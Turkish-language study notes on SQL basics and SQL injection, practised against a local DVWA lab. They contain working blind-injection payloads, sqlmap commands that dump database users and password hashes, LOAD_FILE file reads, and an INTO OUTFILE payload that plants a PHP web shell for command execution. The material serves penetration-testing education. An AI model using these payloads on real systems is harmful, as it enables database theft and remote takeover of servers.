ÖN BİLGİ

Bu belgenin resmi adresi bulunamamıştır. Alternatif adreste yedeklenmiştir. Bu belge

- https://www.includekarabuk.com/kitaplik/indirmeDeposu/Siber_Guvenlik_Teknik_Makaleler/Teori/BaskalarinaAitMakaleler/Temel%20SQL%20Bilgisi.pdf

adresindeki makaleye çalışılarak elde edilen notlarımı kapsamaktadır. Bu çıkarılan notlar belgemde alıntılar ve/veya kişisel ilavelerim mevcuttur.

1)

LIKE

Where clause'un operatörlerinden biridir. Bir sütunda belirlenen pattern'a uygun olanları cımbızlattırır.

SELECT kolon1 FROM tablo1 WHERE kolon1 LIKE pattern

ALTER TABLE

Bir tabloya kolon eklemek, var olan kolonları değiştirmek ya da silmek için kullanılır.

ALTER TABLE tablo1 ADD kolon1 veriTipi // Kolon eklenir.

ALTER TABLE tablo1 MODIFY kolon1 yeniVeriTipi // Kolon değiştirilir.

ALTER TABLE tablo1 DROP COLUMN kolon1 // Kolon silinir.

UNION

İki veya "daha fazla" sayıdaki SELECT ifadesini birleştirmek için kullanılır.

SELECT kolon1, kolon2,... FROM tablo1 UNION SELECT kolon6,kolon7,... FROM tablo2

DROP

Tablo, veritabanı ya da index silmek için kullanılır.

DROP TABLE tablo1 // Tablo silinir.

DROP DATABASE veritabani1 // Veritabanı silinir.

DROP INDEX // index silinir. (Oracle)

ALTER TABLE tablo1 DROP INDEX index // index silinir. (MySQL)

JOIN

İki ya da “daha fazla” tablodaki satırları birleştirmek için kullanılır. INNER JOIN (or JOIN), LEFT JOIN, RIGHT JOIN ve FULL JOIN olmak üzere 4 çeşit join keyword’ü vardır.

- INNER JOIN (or only JOIN)

  İki ya da daha fazla tablodaki kayıtlardan eşleşen satırları döndürmeye yarar.

  SELECT kolon1 FROM tablo1 JOIN tablo2 ON tablo1.kolon1 = tablo2.kolon2

- LEFT JOIN

  LEFT JOIN işlemi ile sol tablonun tüm kayıtları sağ tablo kayıtları ile eşleşsin ya da eşleşmesin yazdırılır. İçlerinden eşleşenler için sağ kolon değerlerine eşleştikleri kaydın değeri konurken içlerinden eşleşmeyenler için ise sağ kolon değerlerine NULL konur.

  Örn;

  LEFT tablomuz şu olsun.

ID	NAME	AGE	ADDRESS	SALARY
1	Ramesh	32	Ahmedabad	2000.00
2	Khilan	25	Delhi	1500.00
3	kaushik	23	Kota	2000.00
4	Chaitali	25	Mumbai	6500.00
5	Hardik	27	Bhopal	8500.00
6	Komal	22	MP	4500.00
7	Muffy	24	Indore	10000.00

  RIGHT tablomuz da şu olsun.

OID	DATE	CUSTOMER_ID	AMOUNT
102	2009-10-08 00:00:00	3	3000
100	2009-10-08 00:00:00	3	1500
101	2009-11-20 00:00:00	2	1560
103	2008-05-20 00:00:00	4	2060

  Görüldüğü üzere sol ve sağ tablomuzda PK ID’dir, FK ise CUSTOMER_ID’dir. Bu iki tablo için LEFT JOIN sorgusu şöyledir.

```
SQL> SELECT  ID, NAME, AMOUNT, DATE
     FROM CUSTOMERS
     LEFT JOIN ORDERS
     ON CUSTOMERS.ID = ORDERS.CUSTOMER_ID;
```

LEFT JOIN işlemi sonrası sorgunun döndürdüğü sonuç tablosu aşağıdaki gibidir.

```
+----+----------+--------+---------------------+
| ID | NAME     | AMOUNT | DATE                |
+----+----------+--------+---------------------+
|  1 | Ramesh   |   NULL | NULL                |
|  2 | Khilan   |   1560 | 2009-11-20 00:00:00 |
|  3 | kaushik  |   3000 | 2009-10-08 00:00:00 |
|  3 | kaushik  |   1500 | 2009-10-08 00:00:00 |
|  4 | Chaitali |   2060 | 2008-05-20 00:00:00 |
|  5 | Hardik   |   NULL | NULL                |
|  6 | Komal    |   NULL | NULL                |
|  7 | Muffy    |   NULL | NULL                |
+----+----------+--------+---------------------+
```

Görüldüğü üzere LEFT JOIN ile sol tablonun tüm kayıtları ekrana basıldı. İçlerinden sağ tabloyla eşleşen kayıtlara eşleştikleri kolon değerleri konuldu. Eşleşmeyenlerin sağ kolon kısmına ise NULL dendi.

NOT: 3 nolu ID'ye sahip "kaushik" kaydı iki kez tekrarlandı. Çünkü JOIN işlemi sonrası bu kayıt sağ tablodaki "iki" kayıt ile eşleşti. Yani bir kayıt ile eşleşseydi bir satır dönecekti. Fakat iki kayıt ile eşleştiğinden böylesi bir tekrar oluştu ve sağ kolonlarına ise eşleştiği iki farklı kaydın sunduğu farklı değerler konuldu.

- RIGHT JOIN

  LEFT JOIN'in sol tablo için yaptığı işi RIGHT JOIN sağ tablo için yapar. Tüm sağ tablo kayıtlarını yazdırır. İçlerinden eşleşenlerin değerleri sol kolon kısmına konurken, eşleşmeyenlerin sol kolon kısmına NULL konur.

• FULL JOIN

Önce LEFT JOIN sonuçlarını yazdırır. Ardından bu sonuçların altına RIGHT JOIN sonuçlarını ekler. Yani hem LEFT JOIN hem RIGHT JOIN yapar. Sırasıyla…

(Page 2)

2)

SQL Injection ile hedef sistemdeki veritabanları hakkındaki tüm bilgiler okunabilir, değiştirilebilir veya silinebilir. Hatta sisteme shell bile atılabilir.

(Page 2)

3)

SQL Injection Kullanılarak Gerçekleştirilmiş Saldırı Örnekleri

• D33Ds Company isimli hack grubu union tabanlı sql injection saldırısı gerçekleştirerek ele geçirdiği 453000 yahoo müşterisinin bilgilerini internete sızdırdı.

• MySql.com Blind Sql injection kullanılarak hacklendi. Saldırganlar ele geçirdikleri kullanıcı adı ve şifre özetlerini internette yayınladı.

• Aralarında Coca Cola, Intel ve BBC'nin bulunduğu bir çok İsrailli site pakistanlı hackerlar tarafından SQL injection kullanılarak hacklendi.

• Yaklaşık 6.5 milyon linkedin şifre özeti ve kullanıcı adları internete sızdırıldı.

(Page 2)

4)

SQL Injection Çeşitleri

1. “Veri Çekme Yöntemi”ne göre iki çeşit SQL Injection vardır:
    - Inband

      Web sitesindeki input kısımlarıyla yapılan sql enjeksiyona denir.
    - Out of band

      Web sitesindeki input kısımları dışında kanallar kullanarak yapılan enjeksiyonlara denir. Örn; UTL_HTTP ve DNS.

2. Sunucudan Dönen Cevaba göre iki çeşit SQL Injection vardır:
    - Hata Tabanlı SQL Injection

        Hata verdirmek üzere yapılan enjeksiyonlara denir. Hata verdirdikten sonra hem zafiyetten emin olunur hem de hata mesajından kullanılan sisteme ait önemli bilgiler elde edilebilir. Bu bilgiler daha sonraki sorgular için kullanılır.

        ➔ Union

            Hata mesajlarına göre oluşturulan yeni sorgu var olan sorguya eklemlendirilir.

        ➔ Double

            ?

    - Blind SQL Injection

        ➔ Boolean Tabanlı

            Mantıksal ifadenin sonucuna (True ya da False oluşuna) göre çalışan sorgular için yapılan sql enjeksiyonlarına denir.

        ➔ Zaman Tabanlı

            Sorgu sonucu gözükmediğinden, sorgunun çalışıp çalışmadığı sleep işini yapan fonksiyonlar yardımıyla anlaşılır. Mesela MySQL'deki benchmark() gibi...
            (https://www.owasp.org/index.php/Blind_SQL_Injection)

3. Veri tipine göre iki çeşit SQL Injection vardır:

    Zayıflığın bulunduğu parametrenin aldığı değerin veri tipine göre yapılan enjeksiyonlara denir. Integer ya da string olabilir.

    - String Tabanlı
    - Integer Tabanlı

(Page 2-3)

5)

Tırnak ayıklama (sanitizing) yapan bir sistem tırnak karakterinin ascii-hex kodlaması ile kullanılmasıyla atlatılabilmektedir.

6)

Bir Blind SQL Örneği

Hedef

Blind SQL Injection kullanarak sosyal güvenlik numaralarının kayıtlı olduğu veritabanı tablosunu bulup kayıtlarını listeleyin (Veritabanı ismi, aranılan tablo ismi ve tablonun kolonlarının isimlerinin bilinmediği varsayılıyor).

İcraat

UNION ile yeni bir sorgu enjekte edebilmek için veritabanı ismine, tablo ismine ve sonraki aşamalar için kolon isimlerine ihtiyaç duyulur. Bu bilgileri information_schema'dan öğrenebiliriz. Ancak ekran sql hataları üretmediği için ORDER BY ile kolon sayısını öğrenemeyiz. Bunun yerine enjekte ettiğimiz kodların işe yarayıp yaramadığını ekranın normal çıktıyı verip vermemesinden anlayabiliriz. Ekran kendi çıktısını verdiğinde enjekte ettiğimiz kod sorunsuz çalışıyor anlamına gelecekken ekranda bilgi eksikliği meydana geldiğinde ya da boş ekran karşımıza geldiğinde enjekte ettiğimiz sorgunun bileşenlerinden birisi hatalı anlamına gelecektir. Kısaca blind injection ekranın normal çıktı verip vermemesine göre yapılan denemeler bütününe verilen addır.

Enjekte edeceğimiz kodda ascii() ve substring() fonksiyonlarını kullanacağımız için önce bunları bir açıklayalım. ascii() fonksiyonu aldığı string değerinin ilk karakterinin ascii değerini döndürmeye yarayan bir mysql fonksiyonudur. Mesela

```
SELECT aut_name,ASCII(aut_name) as "ASCII value of 1st character"
FROM author
WHERE ascii(aut_name) < 70;
```

dersek bu sorgu aut_name kolonunun tuttuğu değerlerden ilk karakterinin değeri 70'den küçük olan kayıtları döndürür.

Substring() fonksiyonu ise aldığı string'in içerisinden bir alt string çekmeye yarayan bir mysql fonksiyonudur. Bu fonksiyon ilk parametre değeri olarak bir string alır ve ikinci parametre değeri olan başlangıç index değerine göre substring'i oluşturmak için string'ten başlar. Ardından aldığı üçüncü parametre değeri olan ne kadar karakter seçileceği bilgisine göre de string üzerinde ilerler ve böylece üzerinden geçilen karakterleri döndürür.

Blind SQL Injection saldırı methoduyla bir numaralı hedefimiz koordinatları edinmektir. Yani veritabanı ismi, tablo ismi ve kolon ismi bilgilerine sahip

olmaktır. Eğer bunlara sahip olabilirsek kullanıcı adı, şifre gibi hassas bilgileri UNION ile ekrana yansıtabiliriz. Bu bilgilere sahip olabilmek için aşağıdaki kodu kullanırız.

```
' or ascii(substring((select table_schema from
information_schema.tables limit 1 offset 0),1,1)) >= 90 #
```

Bu sorguda görüldüğü üzere ascii ve substring fonksiyonları kullanılmıştır. Substring() fonksiyonunu inceleyecek olursak

```
substring( (select table_schema from
information_schema.tables limit 1 offset 0), 1, 1)
```

substring() fonksiyonu ilk parametre olarak bir sql sorgusundan dönen string'i almaktadır. O SQL sorgusu şudur:

```
select table_schema from information_schema.tables limit 1
offset 0
```

Bu sorguya göre tables tablosunun 0.kaydından başlamak üzere "1" tane kayıt çek ve o kaydın table_schema kolon değerini döndür denmiş oluyor. Table_schema kolonu veritabanı isimlerini tutan kolondur. Bu yüzden string olarak bu kolon seçilmiştir. Enjeksiyon kodumuza geri dönecek olursak

```
' or ascii(substring((select table_schema from
information_schema.tables limit 1 offset 0),1,1)) >= 90 #
```

bu sorgu seçilen veritabanı isminin ilk harfinin ascii değeri 90'dan büyük mü kontrolü yapmaktadır. Eğer büyükse ekrana normal çıktı verilecektir, eğer küçükse ekran beyaz sayfa verecektir. Information_schema.tables tablosundaki bu ilk kaydı 90, 89, 88,… ile deneyerek hangi değerde eşleşme olduğu saptanır ve böylece ilgili ascii değerinin karşılığına bakarak ilk kaydın tuttuğu veritabanı isminin ilk harfi öğrenilebilir. Bu işlemi tamamladıktan sonra substring() fonksiyonundaki ikinci parameter değeri olan 1'i 2 yaparak bu sefer ikinci karakteri saptamak için denemeler yapabiliriz ve bu şekilde tüm karakterleri saptayabiliriz. Tüm bu işlemler sonucunda ilk kaydın tuttuğu veritabanı ismi öğrenildikten sonra bu veritabanı ismiyle UNION sorgusu enjekte edebiliriz *(UNION sorgusunda kaç kolon kullanılacak bilgisine ise yine ekran normal çıktı veriyor mu vermiyor mu şeklinde kontrollü bir kolon sayısı arttırma yolu takip edilerek ulaşılabilir).*

Eğer bulduğumuz veritabanı ismi bizim işimize yaramayacak kanısına varılırsa o zaman information_schema.tables tablosundaki ikinci kayıt için ilk harfini saptama, ikinci harfini saptama, üçüncü harfini saptama… süreci işletilir. Bu işlem için sql sorgusundaki offset 0 değeri offset 1 yapılmalıdır. Böylece ikinci kayıt seçilir. Ardından ascii denemeleri sonucu ilk harf tespit edildiğinde ikinci harfe geçiş yapabilmek için substring()'in üçüncü parametresi tıpkı önceki işlemde olduğu gibi sırası geldikçe birer birer arttırılmalıdır.

NOT:

Blind SQL Injection yaparken kullandığımız inner sql sorgusundaki offset'li syntax'ı daha derli toplu da yazabilirdik.

select table_schema from information_schema.tables limit 0, 1

Yukarıdaki syntax ile

select table_schema from information_schema.tables limit 1 offset 0

offset'li syntax aynı işi yapmaktadır.

(Page 6-7)

7)

Yukarıdaki maddeyi okuduğunda görebileceğin gibi her bir karakteri saptamak ve bu işi her bir satır (kayıt) için yapmak epey zahmetli bir iştir. Bunu manual değil de otomatik olarak yapabiliriz. SQLMAP tool'u ve BurpSuite yazılımı bize bu imkanı sağlamaktadır.

(Page 7)

8)

SQLMap İle SQL Injection Saldırısı Örnekleri

[Saldırı Öncesi Bazı Ön Bilgiler]

• Windows üzerinde kurulu Kali'den Windows üzerinde kurulu DVWA'ya SQLMap atakları gösterilecektir.

• Windows'un IP'si 192.168.2.2:8080 varsayılmıştır.

• DVWA SQL Injection Linki http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/ şeklindedir.

• Sqlmap tool'u varsayılan olarak sql injection yapacağı parametrenin URL'de yer almasını ister. Bunun için DVWA'nın SQL Injection ekranındaki metin kutusuna rasgele bir sayı gir ve enter'la. Ardından girdiğin verinin URL'de yerleştiği parametre ile beraber komple url'yi kopyala:

http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

Bu linki komple bu şekilde sqlmap tool'unu kullanırken kullanacaksın.

---

a. Hedef Sistemin Veritabanınındaki Kullanıcı İsimlerini Almak

```
sqlmap -u "http://192.168.2.2:8080/dvwa/vulnerabilities/sqli/?
id=1&Submit=Submit#" --
cookie="security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3" -p
id --users
```

Output:

```
Database management system users [6]:
[*] root@127.0.0.1
[*] root@localhost
[*] root@::1
[*] soninclu@localhost
[*] pma@localhost
[*] @localhost
```

-u parametresi ise sınamanın gerçekleşeceği URL'yi gösterir. --cookie parametresi sqlmap'in -u ile aldığı DVWA linkine login ekranına takılmadan geçebilsin diye kullanılmıştır. -p parametresine atanan id değeri ile de sql injection sınamasının url'deki id parametresine uygulanacağı emrini vermiş oluyoruz. --users parametresi ise hedef sistemdeki veritabanı yönetim sisteminin kullanıcı isimlerini bulup getir anlamına gelir.

Görüldüğü üzere hedef sistemin veritabanı yönetim sistemine ait kullanıcılar çıktıya yansımıştır.

b. Hedef Sistemin Veritabanı İsimlerini Almak

sqlmap -u “http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=”security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p id --dbs

Output:

Available databases [11]:
[*] information_schema
[*] phpmyadmin
[*] soninclu_veritabani
[*] test
[*] mysql
[*] performance_schema
[*] sqlol
[*] btslab
[*] webauth
[*] test

Görüldüğü üzere --dbs parametresi ile hedef sistemdeki yüklü veritabanlarının isimlerini öğrenmiş olduk.

c. Hedef Sistemin Veritabanındaki Kayıtlı Tabloların İsimlerini Almak

sqlmap -u “http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=”security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p id -D soninclu_veritabani --tables

Output:

Database: soninclu_veritabani
[11 tables]

arananKelimeHavuzu
görüntülemeler
kapakResmiErisimYollari
kategoriler
okuyucular
saldirilar
yazarlar
yaziIcindekiResimler
yazilar
yaziyaErisimYollari
yorumlar

d. soninclu_veritabanı Adlı Veritabanındaki yazarlar Adlı Tablonun Kolonlarını Görmek

sqlmap -u “http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=”security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p id -D soninclu_veritabani -T yazarlar --columns

Output:

```
+------------------+---------+
| Column           | Type    |
+------------------+---------+
| kullaniciAdi     | text    |
| sifre            | text    |
| yazarAdi         | text    |
| yazarlarID       | int(11) |
+------------------+---------+
```

e. soninclu_veritabani Adlı Veritabanındaki yazarlar Tablosunun kullaniciAdi ve sifre Kolon Değerlerini Görmek

sqlmap -u “http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=”security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p id -D soninclu_veritabani -T yazarlar -C kullaniciAdi,sifre --dump

Output:

```
+--------------------------------------------------------------+----------------+
| sifre                                                        | kullaniciAdi   |
+--------------------------------------------------------------+----------------+
| $2y$10$Y276DxFLh1.pG/Y.e3evNOteU1v0s5h| hefese          |
| $2y$10$Y276DxFLh1.pG/Y.e3evNOteqy30s5h | yusufhakiki     |
| $2y$10$Y276DxFLh1.pG/Y.e3evNOtehDpTM0 | rebebem         |
| $2y$10$Y276DxFLh1.pG/Y.vteU1v0s5hDpTM0| dsimsek         |
+--------------------------------------------------------------+----------------+
```

f. SQLMap ile Blind SQL Injection Denemesi

DVWA’nın Blind SQL sayfasındaki metin kutusuna SQLMap ile blind sql injection yapalım ve sistemin tüm veritabanlarının isimlerini bulalım (Biliyorsun bu işlem için bir veritabanının ismi karakter karakter ascii denemeleri ile bulunuyordu. Onlarca, hatta yüzlerce deneme sonunda bir veritabanının ismi saptanıyor, ardından ikinci, üçüncü veritabanı isimlerinin keşfi için aynı zahmetli işler tekrarlanıyordu. Şimdi bu işlemleri SQLMap’e yaptıralım):

sqlmap -u “http://localhost:8080/dvwa/vulnerabilities/sqli_blind/?id=1&Submit= Submit#” -p id --technique=B --dbms=MySQL --dbs

(!) Link değişti. Öncekiler sql injection sayfasına ait olandı. Şimdiki ise blind sql injection sayfasına ait olandır. Önceki sqlmap kullanımına göre Blind’da ekstradan --technique=B kodu eklenir.

Output:

Available databases [11]:
[*] information_schema
[*] phpmyadmin
[*] soninclu_veritabani
[*] test
[*] mysql
[*] performance_schema
[*] sqlol
[*] btslab
[*] webauth
[*] test

--technique parametresi argüman olarak B, E, U, S, T alabilmektedir. Bunlar Boolean, Error, Union, Stacked, Time’ın baş harfleridir. Bu örnekte biz Boolean tekniğini kullandık. Birden fazla teknik değer olarak verilebilmektedir.

NOT: SQLMap veritabanı isimlerini bulurken tıpkı bizim yaptığımız o zahmetli işi arkaplanda yapmaktadır. Bu işi yaparken anlık olarak bulduğu karakterleri ekrana sunmaktadır. Yani mesela ilk veritabanı ismini bulurken şöyle bir çıktı silsilesi ekrana vermektedir.

i_
in_
inf_
info_
infor_
inform_
informa_
informat_

...

information_schema

Böyle sırasıyla karakter karakter tespitlerden sonra veritabanı ismini elde ediyor ve sıradaki veritabanı ismi için aynı işlemleri tekrarlıyor. Böylelikle bizi bu zahmetli işten kurtarmış oluyor.

Diğer aşamalar ise şöyledir:

```
sqlmap -u “http://localhost:8080/dvwa/vulnerabilities/sqli_blind/?id=1&Submit= Submit#” --cookie=”security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p id --technique=B --dbms=MySQL -D soninclu_veritabani --tables
```

```
sqlmap -u “http://localhost:8080/dvwa/vulnerabilities/sqli_blind/?id=1&Submit= Submit#” --cookie=”security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p id --technique=B --dbms=MySQL -D soninclu_veritabani -T yazarlar --columns
```

```
sqlmap -u “http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=”security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p id --technique=B  -D soninclu_veritabani -T yazarlar -C kullaniciAdi,sifre --dump
```

[https://pentestlab.wordpress.com/2012/11/24/owning-the-database-with-sqlmap/]

(Page 8-11)

9)

NOT: Eğer hedef site GET methodu yerine değişkenlerini POST methoduyla gönderiyorsa bu durumda SQLMap’e kullanacağı parametreleri --data parametresi ile belirtebiliriz. Mesela;

```
sqlmap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/#" --cookie="security=medium; PHPSESSID=4g9rms6doiou9k1kjrnurtnls3" --data="id=1&Submit=Submit" -p id --technique=B --dbms=MySQL --dbs
```

[http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-18---Blind-SQL-Injection-Medium-Level.php]

10)

SQL Injection Cheat Sheet

a. Çalışılan veritabanını görmek için

database() #

b. Veritabanlarının yüklü olduğu dizini öğrenmek için

@@datadir #

c. Hedef sistemin host adını öğrenmek için

@@hostname #

d. Hedef sistemdeki bir dosyanın (e.g. domates.txt'in) içeriğini görüntülemek için

LOAD_FILE('/xampp/htdocs/domates.txt') #

(!) Demek ki SQL Injection ile hedef sistemdeki passwd gibi kritik dosyalar okunabilmektedir.

e. Hedef sisteme shell atmak için

"<?php system($_REQUEST['cmd']); ?>" into outfile

"C:/xampp/htdocs/shell.php" #

(!) Tarayıcının adres çubuğuna

localhost/shell.php?cmd=type domates.txt

girerek upload edilen shell'e erişebilirsin ve domates.txt adlı dosyanın içeriğini ekrana yazdırmış olursun. Cmd'deki type komutu linux'taki cat komutunun yaptığı işi yapar.

f. Web uygulamasının kullandığı VTYS kullanıcısının ismini görmek için

system_user() #

g. VTYS'deki tüm kullanıcı ve şifrelerini görmek için

user,password FROM mysql.user #

h. Web uygulamasının (DVWA'nın) kullandığı VTYS kullanıcısının yetkilerini görmek için

grantee, privilege_type,is_grantable FROM

information_schema.user_privileges #

i. Veritabanlarını görmek için

schema_name FROM information_schema.schemata #

j. Belli bir veritabanına ait tablo ve kolon isimlerini öğrenmek için

table_schema, table_name, column_name FROM

information_schema.columns

WHERE table_schema =

'soninclu_veritabani' #

(Page 13-14)

11)

Yukarıdaki cheat sheet maddelerinden önemli olanlarının DVWA SQL Injection sayfasındaki uyarlamaları aşağıda verilmiştir:

c. Hedef Sistemin hostname'ini öğrenmek için metin kutusuna aşağıdaki girilir:

1' or 1=1 UNION Select 1,@@hostname #

Output:

```
ID: 1' or 1=1 UNION Select 1,@@hostname #
First name: 1
Surname: DESKTOP-P5P31G6
```

d. Hedef sistemden dosya okumak için LOAD_FILE() fonksiyonu aşağıdaki gibi girilir(bismillah.txt dosyasının belirtilen dizinde olduğunu varsay).

1' or 1=1 UNION Select 1,LOAD_FILE('/xampp/htdocs/bismillah.txt') #

Output:

```
ID: 1' or 1=1 UNION Select 1, LOAD_FILE('/xampp/htdocs/
bismillah.txt') #
First name: 1
Surname: ya allah bismillah allahuekber
```

e. Hedef sisteme shell atmak INTO OUTFILE keyword'leri ile mümkündür.

1' or 1=1 UNION Select 1, "<?php system($_REQUEST['cmd']); ?>" into outfile "C:/xampp/htdocs/shell.php" #

Yukarıdaki injection kodu metin kutusuna girildiği takdirde

```
<?php
    system($_REQUEST['cmd']);
?>
```

içerikli ve shell.php adlı bir dosya belirtilen dizinde oluşturulur. Bu dosyaya erişelim ve parametreden bismillah.txt dosyasını yazdır emrini verelim:

http://localhost:8080/shell.php?cmd=type bismillah.txt

Output:

ya allah bismillah allahuekber

Görüldüğü üzere bismillah.txt adlı dosyanın içeriğini ekranda görüntüledik. Artık cmd parametresini kurcalayarak sistem üzerinde istediğimiz işlemleri yapabiliriz. Mesela;

http://localhost:8080/shell.php?cmd=dir

gibi...

ÖZET: SQL Injection açığından yararlanarak hedef sistemde php kodları içerikli bir dosya oluşturduk. Bu dosya içindeki $_REQUEST() fonksiyonunu cmd adlı parametreden değer

almaya hazır şekilde kodladık. Ne zaman oluşturduğumuz bu dosyayı görüntüleme teşebbüsünde bulunursak o vakit enter’ladığımız linkin sonundaki cmd parametresine koyduğumuz değer $_REQUEST()’ten çekilir ve system() fonksiyonuna gönderilir. system() fonksiyonu aldığı değeri hedef sistemin komut satırına girer ve dönen sonucu ekrana basar.